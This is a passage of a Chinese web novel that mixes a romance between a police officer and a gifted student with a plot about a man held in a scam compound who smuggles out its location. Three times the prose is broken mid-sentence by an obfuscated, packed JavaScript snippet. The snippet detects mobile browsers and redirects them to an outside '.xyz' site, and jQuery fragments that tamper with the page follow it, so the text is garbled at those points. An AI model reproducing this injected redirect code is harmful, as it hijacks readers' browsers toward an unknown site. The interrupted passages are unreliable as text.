不说算了,反正他知道,在陶律夏那儿,自己有一个特别到不愿启齿的称呼——就凭这点,已经够他乐了。 * 晚上七点多,两个人到了机场,陶律夏坐在候机大厅的落地窗旁,拿出Switch游戏机开始在“动森”里捉虫子。 罗乐坐在旁边看着“科研战神”一脸认真地捉蝴蝶,笑道:“你这高三生活,娱乐项目还整得挺丰富……” “情绪管理的一种方式。”陶律夏淡定挥网,捉住一只闪光斑蝶,他偏头瞥了罗乐一眼,眼尾带笑:“你想不想试试?” 游戏机被塞进罗乐手里时,他还有点抗拒本能,脸上挂着“我不玩这玩意”的倔强表情。 结果半分钟后,已经追着一只锹形虫满岛狂奔。抓虫子的路上,他还无师自通地上手了捡树枝的技能,一根接一根,动作堪称行云流水。 陶律夏在一边看着,笑得肩膀都在抖。 “笑什么呢?”罗乐转头盘问,“我技术不行你直说,别在那儿憋出内伤。” “我见到了传说中的「猛男捡树枝」”,陶律夏强忍着笑。 “啥玩意儿?”罗乐眉头一皱。 “一个八块腹肌、走路带风的猛男,凌晨三点在游戏里捡树枝、编花环、搞建设。”陶律夏点了点游戏屏幕上的人物,“玩家圈把这个叫作——「猛男捡树枝」。” 罗乐盯着他看了一会,忽然嗓音一低:“你怎么知道我有八块腹肌?” 33. 怪兽加班 陶律夏嘴角的笑顿住,他睫毛轻轻一颤,视线下意识飘开:“我说的是通用说法,并不是指你……而且我刚才也提了凌晨三点。” “通用?”罗乐微微俯身,缓慢凑近,“你刚才笑得那叫一个具体。说吧,你是不是在脑子里开了红外成像,偷偷扫描我腹肌呢?” “红外成像只能捕捉表面温度,穿不透衣服,看不到肌肉线条,你的这个猜测——不成立。” 干嘛要提什么红外成像?罗乐在内心哀嚎。这不是一脚踏进学神的统治区,主动申请知识暴击…… “我上次在更衣室里看到的。”陶律夏淡淡道。 “你、你……”罗乐被这句话打了个猝不及防,脸红了个通透。 “那个更衣室的白炽灯很亮。”陶律夏眼神坦然,“从上往下打光,分块看得很清晰……” “打住打住!别再说了!”罗乐差点没跳起来,他用尽全身力气才把声音压成低分贝,“你、你以后不许跟别人说这种话,听见没有?” “哪种?”陶律夏歪着头看他,语气无辜,眼神里甚至带着点认真求知。 “就、就你刚才说的那种!”罗乐咬着后槽牙,快被他这幅“装傻卖乖”的表情气到失语,“说话要注意分寸!注意……社交后果!” “听见没有!你再这样,我就——” 陶律夏语气温吞:“你就什么?” 罗乐呼吸一滞,脸涨得更红了,咬牙切齿地挤出一句:“我就用猛男树枝做成弹弓,蹲你家门口打你。” 陶律夏:“那你得先解锁DIY功能,还得建个账户。” “怎么建?!”罗乐瞬间跑偏。 陶律夏拿过游戏机,在主页面操作了几下,递给他:在这里输名字,选头像,绑定一下就好。” 设置完毕,罗乐看着自己创建的角色坐着飞机降落到岛上,小岛的管理员理克冲着他挥挥手,“欢迎来到SoftMoon!” 陶律夏侧过身,目光落在屏幕上:“你可以选一块空地建房子,然后就能定居了。” 罗乐指着屏幕里自己的角色,语气带着错愕和不可思议:“你让我……在你的岛上定居?” “嗯,”陶律夏点头,“你和月兔、小润、恋恋、软糖它们一样,在这个岛上有自己的房子。你有了钱还可以升级装修,买自己喜欢的家具。不要弄乱我现在的布置,其他都随意。” 罗乐一时间没出声。 陶神边界分明、精致怪诞,他一度觉得,他们之间的距离,比地球到月球还要远…… 可现在,自己居然可以和不知道是什么的月兔、小润、软糖一起,在他的岛上拥有一个房间。不是借住,不是路过,而是成为他世界的一部分…… “建房子要选块地,你想住在哪里?湖边?沙滩?还是森林里?”陶律夏问。 此刻,快到傍晚,霞光铺洒在小岛上,海风时不时吹过,椰林掀起起伏的绿浪,一切美得像是不真实的梦境。 有什么东西突兀地砸进罗乐心口,头一次,他没有拐弯抹角,没有嘴硬装酷,他放弃了战术伪装,说出了最想说的话—— “离你近点。” 游戏的音效、候机大厅的广播、旅客匆忙穿梭的步履声悉数退去,只有如雷的心跳声在罗乐胸腔回荡。 他看到陶律夏愣住了,像是被某个无法立即处理的请求卡住了系统。现在,最聪明的做法就是补一句玩笑话:“住你旁边是方便掏空你家资源。” 或者干脆半真半假地抖个包袱:“我说了用弹弓打你,可不是在吓你。” 留点余地,安全又不尴尬。 可是,从相识到现在的每一次吵闹、欢笑、托付、照顾……还有刚刚飞机降落到岛上时,微妙而难以言喻的悸动,让罗乐贪了心。 他突然就不想留余地了,不想拐弯了,他就是要离他近一些。 “行吗?”罗乐固执地问了一句。 陶律夏没说话,他接过游戏机,在自己房屋旁边的空地上比划了一番,接着“叮”一声响——【房屋选址成功】 “这个游戏机借你了。”陶律夏把机子塞回罗乐手里,“有空帮我抓点虫子,最好是图鉴里没有的,博物馆还缺不少。” 罗乐看着那个属于自己的小帐篷,舒了一口气,脸上涌起得逞的笑,嘴又硬了起来:“什么!你还想使唤我给你打工?” “不抓算了。”陶律夏拎起箱子,迈步朝登机口走去。 “求人帮忙还这个态度!”罗乐一边喊着,一边快步跟上去,嘴角快要咧到脖子根,“算了,哥就勉为其难,跟你搞搞社区共建。” * “你看那边。”陶律夏微微偏头看向舷窗,“在万米高空飞行时,可以更晚地看到太阳沉入地平线,日落相对地面延迟十分钟左右,那片暮光,就是天黑前的最后一线。” 罗乐探头看了一眼,笑道:“你懂的还真多。” 他打开小桌板,从座椅下拎出一个纸袋,拆开里面的盒子,往跟前一摆:“用脑过度,刚好摄糖。” 陶律夏的目光移向桌面,是草莓蛋糕…… “虽然晚了点,但过生日怎么能不吃蛋糕呢?就当晚饭吃了吧。”罗乐把勺子塞到他手里。 陶律夏盯着蛋糕上的草莓看了片刻,才慢吞吞舀了一勺送进嘴里。吃下去之后,便就没再动,整个人像是突然掉线,连眼皮都没再抬一下。 “唉,你怎么了?”罗乐伸手碰了碰他的胳膊。 没吱声,也没看他。 “不会吧!难道不好吃?”罗乐舀了一口送进嘴里,奶油绵密、糕体湿润、草莓酸甜适中,连他这种不太吃甜的人都觉得可以。 “挺好吃的啊。”罗乐又往他那边靠了一点,“吃个蛋糕还能不高兴?你跟草莓有仇?” “草莓蛋糕是你命中宿敌!?” 对方没理他的玩笑,安静、沮丧地坐着,真像是被他勾起了什么伤心事。 罗乐心里一阵烦躁,像是有钩子在心上刮来刮去,搅得他浑身都不对劲。 “……不喜欢吃,以后我们就不吃了呗。你这脸垮得,我都想把蛋糕拷了。” 顿了顿,他又自我反省地补上一句:“要不我把我拷了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939322|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行吗?” 见人还是没反应,罗乐坐直了身子:“要不这样,我也补偿你,肩膀借你靠靠?”他说着,抬手做了个“过来一点”的拢人动作:“限时开放,就五分钟。” 陶律夏看了一眼那只朝自己伸出的手。 一个肩膀,搭配“限时五分钟”的荒谬设定,本该划入无效社交行为,当场拒绝,但离谱的是——他,心动了。 五分钟,不足以建立依赖,还标注了使用说明,一个短促又安全的窗口期。而且,自己现在确实需要一点刺激性的安慰。 于是,陶律夏一点也没扭捏,干脆地侧过身,靠了上去。 头落在“限时福利”上的那一瞬—— 【数据更新】实际测量肩宽50厘米。 【体感预报】比预想中更实在,更安定,也更刺激! 温热的体温透过衣料贴到脸上,陶律夏呼吸顿了一下,心跳短促上扬,本能地想撤离,但下一秒,那只手已经落下来了。 像个从没安抚过人的新手,动作有点笨拙,先是生硬地按了按他的头发,接着似乎手感上来了,变成顺毛似的揉,最后居然开始拍了??? 伴随奇怪的节奏,陶律夏肩膀放松下来,只感觉整个人像是被切换到了一个前所未有的频道——安定,温暖,出乎意料地……舒适。 “我铲除辣条的时候,顺便把草莓小蛋糕也一锅端了,怎么样?”声音从头顶悠悠飘下。 陶律夏轻轻眨了一下眼睛,想起那个下雨的晚上,这人说要帮自己揍狗……今天明明没喝酒,看来他中二起来,和酒精关系不大。 “毁灭清单上还要写点什么,全给它们开除出地球表面。”罗乐煞有其事地说。 “你是拿到怪兽豁免条例了吗?”陶律夏没忍住笑了一声,“五分钟到了。”他呼了一口气,准备坐直身子。 “等会……”罗乐的手臂忽然收紧,将他整个人按回怀里。 陶律夏猝不及防,脊背一僵,等会?等什么?哥斯拉还要加班吗?! ——他下意识想推开,没推动; ——又试了一下,力气很大; 算了,不推了…… 大脑试图分析这个动作的情绪导向与动机,结果什么都没算出来。陶律夏就那么僵着,像个宕机的终端,只剩下一颗“过热”的心脏在拼命跳动。 ——路人甲从身边走过去了; ——路人乙也走过去了; ——空姐推着饮料车走过去了; ——小朋友1号路过了,小朋友2号也路过了…… 小朋友2号又回来了!专门看了他一眼,眼神里明晃晃地写着:“哇!大人贴贴好直接。” 太、太刺激了…… 飞机发动机嗡嗡低鸣,窗外云影飞速掠过,时间悄无声息地流动。 “什么东西在震?”罗乐忽然问。 “静息心率超过100bpm,我的运动手表在报警。”陶律夏坦言道。 罗乐微愣了下,随即他不由分说地抓起陶律夏的手,压在了自己的胸口:“——120bpm。” 34. 长期计划 那颗跳得比自己还乱的心,贴着掌心将震动一路传到陶律夏混乱的大脑,自己心率失控,对方竟也在狂飙—— 这奇妙的共振在神经元中轻轻一撩,带来危险、陌生,几乎让大脑短路的晕眩感,不及分辨,他便如触电般地抽回手,坐直身体,切换回了那张冷淡到近乎无情的脸。 主舱灯灭了,机舱内陷入柔和而模糊的半暗,世界安静下来,两人并肩坐着,谁也没动。 过了好一会儿,罗乐终于平复心情,准备说点什么,就见陶律夏一把拉下机舱遮光板,偏过头闭上了眼。 罗乐:”???“ 这是……睡了?你居然还能睡得着! 陶律夏闭上眼后,忽然意识到一件事——太阳落了,现在外面一片漆黑,根本没必要拉下遮光板,应该关掉阅读灯。 可现在他已经“启动”了假睡模式,再动一下就等于逃避失败加演技破功,现如今,只能在这明晃晃的灯光下硬撑到底…… 从没想过,感受如此高浓度的混乱和紧张,会是在万米高空的封闭机舱里。他不但没法逃跑,还得坐在那个人身边! 感官系统此刻变得无比灵敏,他能够清晰地感受到那个人的温度、呼吸,还有满满的存在感…… 一阵温热靠了过来,伴随一段低哑的耳语:“怎么,刚刚那几分钟,你是不打算承认了?” 陶律夏身体一僵,承认什么?不是限时福利吗!怎么听起来,自己好像成了“贴贴完就跑”的渣男? 他强撑着闭眼假睡,试图隔绝所有外界输入,却感觉到那个人的气息又近了一点…… “你再装,我可要亲你了。” 这句低沉的“恐吓”让陶律夏猛地睁开眼,眼前,是那张近得过分的脸—— 唇角的弧度再高一寸就会沦为轻佻,但他刚刚好,有些撩人的性感。 “我抱着你的时候,你明明也有感觉,”罗乐看着他,声音压低,“怎么一松手就不认账了?” “你别乱说!”陶律夏耳根发热,飞快地挪开了视线。 “我乱说什么?”罗乐声音更低了些,“是你有感觉,还是你不认账?” 陶律夏张了张嘴,呼吸微乱:“当时……你的行为本质上,是一次性、有限度的社交互动,我……我只是……” “那现在呢?”罗乐看着他,眸色深沉,“你发现没,你说话都结巴了。” 陶律夏像被戳中了什么,随即沉默不言。 飞机在夜空中飞行,罗乐满脑子都是问题,你到底是怎么想的?你喜欢男人?你以前喜欢过别人吗?你喜欢……我吗? 就在他差一点就要问出口时,陶律夏忽然抬起了头:“我需要一点时间,来判断它到底是「情绪性扰动」,还是……别的什么。” 不是拒绝,但也不是承认,但对陶神来说,这已经是一句极其慎重的「表态」了。 这句话抚平了罗乐胸腔里翻江倒海的混乱与焦灼,在一片不确定中,生出了前所未有的耐心。 人生第一次认真的心动,对方和他一样心率飙升,还给了他一句含糊却认真的「我会考虑」。 已经足够了…… “睡吧。”罗乐抬起手按下头顶的阅读灯,光线暗了下来,把万米高空的旖旎心思藏进了夜色里。 * 一个小时后,飞机平稳落地,滑行进港,客舱灯光亮起,二人一前一后地走出舱门,穿过廊桥,踏进机场的摆渡车。 摆渡车一个急拐,陶律夏没站稳,身子猛地往前倾去。罗乐眼疾手快,伸手撑住他的后背,轻轻一收,就把人带进怀里。 温热的气息扑在颈侧,罗乐低下头,声音压得很轻:“这次呢?是情绪扰动?还是……其实你也想抱着我?” 陶律夏神色惊慌地抬手推他,力道却轻得像只小猫扬了扬爪子。 “你的说辞毫无证据,逻辑链条断裂,纯属主观臆断!”小猫一脸凶狠地瞪人,语气正经到有点可笑,像要靠眼神把他逼退。 罗乐见状低低笑了一声,松开扣在他背后的手:“行,逻辑警察判我主观。” 说罢,他握住陶律夏的手腕,轻轻一拽,将那只手按到车厢的吊环上—— “那就扶稳点,别老撞进别人怀里。” “什么叫‘老’?明明是第一次!”陶律夏扭头反驳,耳尖却红透了。 罗乐看着这张又冷又倔的小脸,哼笑一声:“你这种惯犯,之前就把我逼到墙角,还差点贴我身上。” “……” 陶律夏愣住了,一时竟不知道该先反驳“惯犯”、“逼到墙角”,还是“贴身上”,这都是哪来的事?! 好不容易熬到站,他匆匆拎着行李下车,夜风迎面扑来,吹得他心烦意乱。 好在出租车及时出现,一晚上了,终于有了一个体面的逃跑机会。他快步上前,拉开车门坐进后排,还没坐稳,就见罗乐不慌不忙地上了车,径直坐到他身边。 陶律夏转过头,开门见山:“我和你好像不是一个方向。” “等送你回去,我再走。”罗乐系上安全带,神色自然得像坐自己家车。 送你回去?谁提出的?谁批准的?他什么时候需要别人顺带一送了?陶律夏斜侧着身,与他隔开距离,看着窗外快速倒退的街景,陷入了深刻的反思—— 免费的东西都有代价,限时福利全是陷阱!那个肩膀果然不应该靠,自己怎么能犯下这种低级愚蠢错误?居然还……靠了那么久。 “我还想和你多待一会儿。”身旁忽然传来一句低声,轻得像是自语。 陶律夏转过头,迎上了那张脸。罗乐正看着他,唇角上扬,笑得好可爱。 要命……自己到底是从什么时候开始,对这种明目张胆的可爱,失去抵抗力的呢? 一行行未经授权的数据正在入侵他的中央系统,心跳错拍,呼吸紊乱,体温上升,却没有东西能阻止。 “你是不是又在心里开会呢?”罗乐说着凑近了些。 “嗯……”陶律夏老实地点了点头。 “那这一轮会议的结果,能不能分享一下?”罗乐问。 陶律夏沉默了两秒,把头转向窗外,语气含糊:“……想不清楚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939323|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不清楚? 罗乐欣赏着学神懵而不察,学渣提前拿到□□的反差盛景,已经开始翻译这四个字的潜台词—— 【我动心了,但我不知道这是怎么回事】 【你让我乱了阵脚,也许你是我的bug】 【爱情是什么?是我为数不多的知识盲区】 罗乐目不转睛地看着他,还是第一次在陶神脸上看到如此迷惑、近乎茫然的表情。 从派出所相遇的那天起,自己就被这中学生死死压制。 每次斗嘴、交锋,对方都像台精密运转的机器,总能三言两语把他逼到理智溃败。想看他卡壳、说不出话、低头认输,曾是罗乐暗中死磕的动力来源。 可现在,这「胜利场面」终于出现,他却没有半点得意,反而只想伸手把人揽在怀里。 ——你别拧着自己啊,脑袋这么好用,慢慢想就好啊,我陪着你…… 他的手都快伸过去了,又硬生生缩了回来,想抱陶神,得符合逻辑! 不可贸然行动,不能得寸进尺,最好能让他自己靠过来。罗乐望着窗外的街景,忽然有些惊讶:自己怎么变得这么狡猾了呢? 下车后,两人在公寓门口面面相觑,还是陶律夏先开了口:“再见,罗警官。” 嘴上说着“再见”,腿却迟迟没有往楼门里迈。 “唉……”罗乐嘴角轻轻一勾,语气带着点轻巧的试探,“要不要,再试一下?” 陶律夏抬头看了他一眼:“试什么?” “抱一下。”罗乐向他靠近半步,声音压得很低,“帮你积累点样本,好判断究竟是不是情绪扰动。” 陶律夏看着他,眼底闪过一丝犹豫。想试,却有些怕;但若退一步,又着实可惜,自己想要靠近的东西明明那么稀少。 最终,他像被某种引力牵引,慢慢走了过去,轻轻把脑袋贴在男人的胸口,手指蜷着,扶上他的背。 拥抱,原来是这种感觉…… 轻微压感,短暂亲密错觉,对神经系统而言,几乎可以定义为“舒适型镇静剂”,唯一问题——有些糟糕的上瘾。 罗乐愣了一瞬,才低头把人抱紧了一些,他把脸贴上陶律夏毛茸茸的发顶,香香软软,像夏日里太阳晒过的草尖。 “样本……怎么样?”罗乐有些紧张地问。 陶律夏想了一会,坦然答道:“这个问题,比我想象得复杂。” 罗乐:“那就多试试,你想做实验的时候,就朝我张开手臂或者给我一个暗示,我配合你。” “你为什么要这样?”陶律夏抬起头看着他,眼神澄澈,唇尖几乎要碰到他的下巴。 怎么能……这么好看? 怎么能……这么近地看着人? 怎么能……这么赤裸裸地逼人表白? 罗乐强行稳住表情,压下想要亲他的冲动,打算开启一个长期计划。 这时候,需要藏下心里的话,给一个不会吓跑他的聪明回答—— “想知道实验结果。”罗乐看着那双眼睛,声音轻而坚定,“我想知道……我和你,能写出什么答案。” 35. 神仙搭档 周隽下班时,已经接近早晨六点。一抹极细的晨光从天际线上浮现,像是黑暗中撕开的裂口,光线浅淡,却格外艳丽。 昼夜颠倒的生活早已打乱了他的时间感,白与黑在脑中混作一团,而这一刻,他才恍然意识到——天,快亮了。 他放慢脚步,透过锈迹斑斑的铁丝网,向园区东侧望去,一条河自北向南蜿蜒流淌。 “那条河,叫什么名字?”周隽问身边的韩波。 “这破地方的河叫什么重要吗?”韩波嗤笑,但说完,他还是顺着铁丝网向外望了望,“我只知道我家门口的那条河——” “叫韩江。” 灰黄的水面随风荡漾,心绪跟着沉了一瞬,又恢复平静。 走到园区商店门口时,周隽停下了脚步,“我去买点东西。” 韩波啧了一声,斜着眼瞄了那扇门一眼:“这破店宰人不眨眼,东西翻十倍卖。你不买,老板还能当场甩脸。” “嗯,我去看看,你先回去吧。”周隽没争辩,径直推门进去。 商店不大,不过十平米,却要供应十几家诈骗公司,几百人的吃穿用度。商品种类寥寥无几,洗发水和牙膏像珠宝一样锁在玻璃柜里。 “热水壶多少钱?”周隽问。 “塑料壳的五十,金属壳的八十。”店老板慢吞吞地回道,他四十多岁,头发用发油抹得服帖,一丝不乱地向后梳着。 这里消费的是美元。 五十美元,在外面都够买一个二手冰箱,可在这儿却只能换一个塑料壳的电热壶。 “要五十的。”周隽没犹豫,从口袋里掏出了钞票,他将电水壶装进黑色塑料袋,拎回了宿舍。 “你在那黑店买啥了?”韩波靠在床边,顺口问道。 “方便面。”周隽说着揭开面碗的盖子,撒上调料,倒入热水。 “你还真是冤大头啊!”韩波翻身坐起,不解道:“花钱买啥味儿都没有的山寨货。” 周隽没说话,他取过新出的话术手册压在面碗上。 怎么也想不到,现在连买泡面都只有一种选择——味道寡淡到老干妈都拯救不了的海鲜味。 时间在「上线」与「下线」的枯燥切换中悄然流逝…… 星期日下午,周隽刷完指纹走进办公楼。今天轮休,来这里是为了打电话。 他通常每两周给奶奶打一次,能说的并不多,永远是那几句:“我挺好”、“别担心”。 通话室设在办公楼二层的一间小屋,“人道窗口”透漏着仓促搭建的临时感,只有一张塑料椅和一张桌子。 隔壁是监控室,管理员不仅能监听监看,也可以随时推门而入。 周隽去管理员那儿领手机,刚走到门口,就听见一阵“诵经声”。 管理员的手机上是《金刚经》讲解直播,弹幕全是“南无阿弥陀佛”、“一念成佛”、“清净业障”……光从屋顶落在他手上,像是给这魔幻世界投下一束慈悲的幻光。 周隽刚接过手机,楼道就传来一阵刺耳的警报声。 “三楼西侧报警器响了!”有人大喊。 管理员站起身,抓起对讲机冲了出去,楼道一时只剩周隽一人,他迅速调出微信,果断拨出语音电话。 下午四点零一分,陶律夏的手机响了。 刚一接通,电话那头便传来周隽急促的声音:“我在马达纳的一个诈骗园区,具体位置不清楚。” “这里离昆马大桥车程大概是三十分钟。桥下有块沙洲,车是往沙洲北边开的,走的是乡村公路,车速应该没超过六十公里每小时。” “园区里有三栋楼,门字形排列,屋顶是红色,南边还有排东西走向的蓝顶小楼,院子里有两棵芭蕉树。” “园区外面东边是条南北走向的河,不宽,西边是一大片草地,像个足球场。有时候能听见钟声,附近应该有座寺庙。” 楼道里的警报声停了,周隽随即挂断电话,清除通讯记录。 管理员踩着拖鞋从远处走过来,对讲机里传出断断续续的通话声:“有人捣鬼,没什么火,是烟雾报警器响了。” “你站这儿干嘛呢?”管理员走到他面前,眯着眼上下打量。 “听到警报,我、我怕出事,出来看看情况。” “能有什么事?胆子跟兔子似的。”管理员啧了一声,走回操作台,拿起鼠标点开监控,漫不经心地问:“你还打不打了?” “打。”周隽应了一声,转身往通话室走去。 京北市朝南分局—— 冯浩摘下耳机,冲罗乐摇了摇头。他是罗乐在警校的师兄,网安出身,周隽通话的那一刻,他就在后台追踪源头。 “不行吗?”罗乐问。 “不行,这通语音,线路一进来就绕了好几层代理,起码三层V/PN跳板,出口节点挂在境外服务器上,IP全是动态分配,根本锁不住源。” “能顺回一段吗?”罗乐问。 “顺不了。”冯浩指了指显示器,“路径一跳一换,全走的商业级匿名通道,后端注册信息也都是伪造。” “这配置……不是一般人能搭出来的。” 罗乐的眼神沉了下去:“意思是……追不到?” “差不多,这种情况,反溯几乎没意义。”冯浩抬起头,“你们还是分析分析通话内容吧。” 从分局出来,二人顺着树荫一路走到路口,信号灯倒计时显示还有六十多秒。 陶律夏刚抬手遮了一下太阳,罗乐就把手里那叠资料举起来,斜斜地挡在他头顶上方。 “不用……”陶律夏伸手推了下那只举着资料的胳膊。 “晒黑了。”罗乐笑嘻嘻地回,他站得笔直,额上的薄汗被阳光一照,毫不费力地发着光。 “你这个角度和遮挡面积,只能挡住一点,实际遮光率不超过20%。”陶律夏一脸平静地讲起热力学。 “哦。”罗乐像突然被点了技能,往前迈了一步,干脆用自己整个身子挡着太阳,“这样?” 话音刚落,一辆电动车突然逆行左转冲了过来。 “小心!”陶律夏伸手一把抓住他的胳膊,将人往后一扯,两人一齐退了半步。 电动车从“人肉遮阳板”身侧嗖地掠过,带起一阵热风。 “你有没有安全意识!”陶律夏声音陡然拔高,绿灯亮了,他一把甩开罗乐的手,径直走过斑马线。 罗乐愣了两秒,随即笑了起来。 ——行啊,他一个警察,现在三天两头被一个「危险分子」教训“没有安全意识”。 他快步追了上去,边走边喊:“怪我咯?明明是那个电动车逆行乱窜!” “我没有安全意识,你自己就有啊?上次你在墙头拍照差点掉下来,怎么不说?” “我怕你晒着也有错了?”罗乐声音轻了点,凑到陶律夏旁边,小声嘀咕,“你现在怎么这么凶啊……以前也没这么凶。” 如愿以偿,换来一记冷冽的刀眼。 见人不理他,反而越走越快,罗乐在后面嚷嚷:“行,怪我多管闲事,下次你爱怎么晒怎么晒,晒成煎蛋我也不管!” 他说着,抬手揉了揉自己的胳膊,嘟囔着:“你手劲儿怎么这么大啊……缝过针的地方差点被你拽断……” 陶律夏的脚步倏地一顿,一秒之内精准回头,眼神如激光般刷地落在他的胳膊上。 “哪里疼?” “这儿……”罗乐眨巴着眼睛装惨,“被你捏得好疼。” 陶律夏伸手,指腹在他示意的地方轻轻按了按,检查了一遍,抬起头,语气淡得像念公式:“压迫导致的疼痛,一般不会持续超过十分钟,忍着吧。” 说完,他松开手,转身朝咖啡馆走去。 走了两步,又想起什么似的停下:“我出门一般都会涂防晒霜,总之谢谢你,下次请不要做那么危险的事。” 罗乐看着他的背影,低声笑了,行啊,现在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939324|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己和这「危险分子」竟成半斤八两了。 * 罗乐端着咖啡回来时,陶律夏已经把通话记录整理成了文字版。 他把咖啡放到陶律夏手边,坐下打开电脑,边操作边分析:“从昆塔的灿罗村到马达纳的妙兰,只隔着一条孔达拉河,中间那座桥,就是周隽说的‘昆马大桥’。“ “按车速估算,先往北边划个三十公里的扇形区域,作为初步搜索范围。”他说着,在地图上滑动,圈出一片区域。 陶律夏看了看,点开电脑上的画图软件说:“我来把园区的结构和地貌图示画出来,对照地图筛查,会更快些。” 罗乐看着他,嘴角的笑又不自觉地浮了上来。小鬼聪明认真,干起活来思路清晰,井井有条,简直是神仙级别的搭档,梦里才有的破案外挂。 “你看什么呢?”陶律夏察觉到他的视线,抬眼问。 “看你啊。”罗乐毫不避讳,语气带着笑,“你认真起来的样子特别好看。什么时候我陪你上晚自习吧,我想看你写卷子。” 陶律夏指尖一顿,抬起头,那人却已经把脸转回屏幕,眉眼微垂,神情专注,进入了工作状态。 “周隽说能听见钟声,我们可以把寺庙标出来,优先排查附近区域。”罗乐说着,将标注好的地图转向他,“你看,一共七十二个。” “哦……”陶律夏回过神,嗓音低下去几分,“钟声属于中低频,考虑到传播衰减,我觉得可以把搜索范围定在寺庙的八百米以内。” 两人并肩坐着,把地图切换成卫星模式,开始分头在屏幕上拖动、比对、标记。 “这个房顶是灰色的,结构也不对。” “这几栋朝向偏西,不是门字形,也不对。” “草地面积不够,看起来最多是个网球场,太小了。” “河流在西边,跳过。” “……” 一格一格地拖动,一处一处地放大,不断对比,不断否定。时间悄然过去了一个多小时,依旧没找到匹配的地点。 罗乐伸手,把陶律夏的笔记本电脑轻轻挪到一边,说:“我来盯着,你休息一会。再这么看下去,眼睛都看花了,一会儿看哪儿都像诈骗园区。” “这种东西,对哥来说都是小意思。”他一边说着,一边从包里掏出几个橘子,递到陶律夏手边。 “哥毕竟是练过的。”罗乐的眼睛盯着屏幕,手指拖着鼠标滑动,“之前上‘图像证据识别与分析’,作业特变态,老师经常拿马赛克画质的夜间录像搞人心态。” “还上过什么?”陶律夏一边剥橘子,一边问。 “多了去了。格斗、枪械、刑法、侦查、犯罪理论、逻辑推理、法医基础,模拟审讯……杂得很。” “听上去学了很多,推理小说里的技能都有涉及。”陶律夏把剥好的橘子掰成两半,递了一半给他。 罗乐张嘴咬住橘子,嚼了两下,“但和推理小说还是有很大差距,更多得靠体能和熬夜,可能推理技巧还没用上,腰椎间盘先废了。” 陶律夏听着他的碎碎念,唇角轻轻弯了一下。他拿起一个橘子,用马克笔在上面画上眼睛、鼻子、咧开的嘴角,想了想,又给它加了一对小狗耳朵。 就在他准备在背面画个尾巴时,罗乐忽然叫了出来:“看这儿!” 陶律夏放下橘子,凑了上去,屏幕上一组红顶建筑赫然在列。 “‘门’字结构,三栋主楼,南边是蓝顶小楼。”罗乐的声音带着抑制不住的兴奋。 “南北向的河刚好贴着东边,西侧是矩形草地。”陶律夏立刻跟上他的节奏。 “三百米外,还有座佛塔。”罗乐点了点地图上的图标。 “院子里的芭蕉树,刚好是两棵。”陶律夏话音落下,两人几乎同时转头看向对方,默契地击了一掌。 掌心短暂触碰,却在一瞬间,擦出一簇微弱的火花,不疼也不痒,只在神经末梢,留下一道灼热的痕迹。 36. 醋王上线 叶三蹲在地上,盯着那个内里烧得焦黑的铁皮罐子。 罐子里装着电热丝和各种可燃杂质——碎纸、破布,还有糖。 糖受热焦化后凝成黑色硬块,粘在罐底。电热丝看着像从电水壶上拆下来的,插头连在三楼走廊尽头的插座上。 每天的下午四点和晚上八点,园区会自动启动一组备用电源。 上周日四点,备用电源启动,电一通,插在上面的电热丝升温,引燃罐内的混合物,释放出的烟雾触发了烟雾报警器。 叶三眯起眼,从地上捡起一块熏黑、变形的锡纸残片,厚实,边缘起翘,图案隐约能辨认出是……方便面。 残片上还能看到打孔痕迹,对方明显是故意的,用锡纸封住铁罐来控制燃烧,同时借助打孔加快烟雾散发。 “人才啊。”叶三低笑一声,走下楼梯。 小卖店的店主看到叶三进门,忙不迭地叫了声:“老板。” “看看是你这儿卖的吗?”叶三把铁罐旁的残片按在玻璃柜面上。 店老板凑近看了看,指向柜台角落的海鲜面:“就是那个。” “调下监控,看看最近都有谁买过。”叶三夹着烟坐在一旁,眼色沉下来。 这个人很狡猾,而且是预谋已久。他知道那个位置有备用电源,知道三楼监控被偷着抽烟的人搞坏了。 烟雾感应器刚换上,摄像头还没装回去,他就掐着时间去搞破坏了。 关键是,图什么呢? “老板,最近这个月都没什么人买过那方便面,现在生意不好做啊。”店主一脸苦笑。 叶三回过神,弹了弹烟灰:“你这生意要是都不好做,那全天下的店都该关门了。” 监控一点点往回翻,来来往往的身影在画面里闪过。 “他……”叶三坐直了一点,手指轻点屏幕:“手上拿的什么?” 店主凑近看了一眼:“那个啊,是热水壶。” “热水壶?”叶三嘴角一勾,笑意不达眼底:“要素齐全了。” 他站起身,指尖一碾将烟头磕灭在桌边,“去看看。” 五月,天气闷热,宿舍门半敞着,周隽听见脚步声,从床上爬了下来。 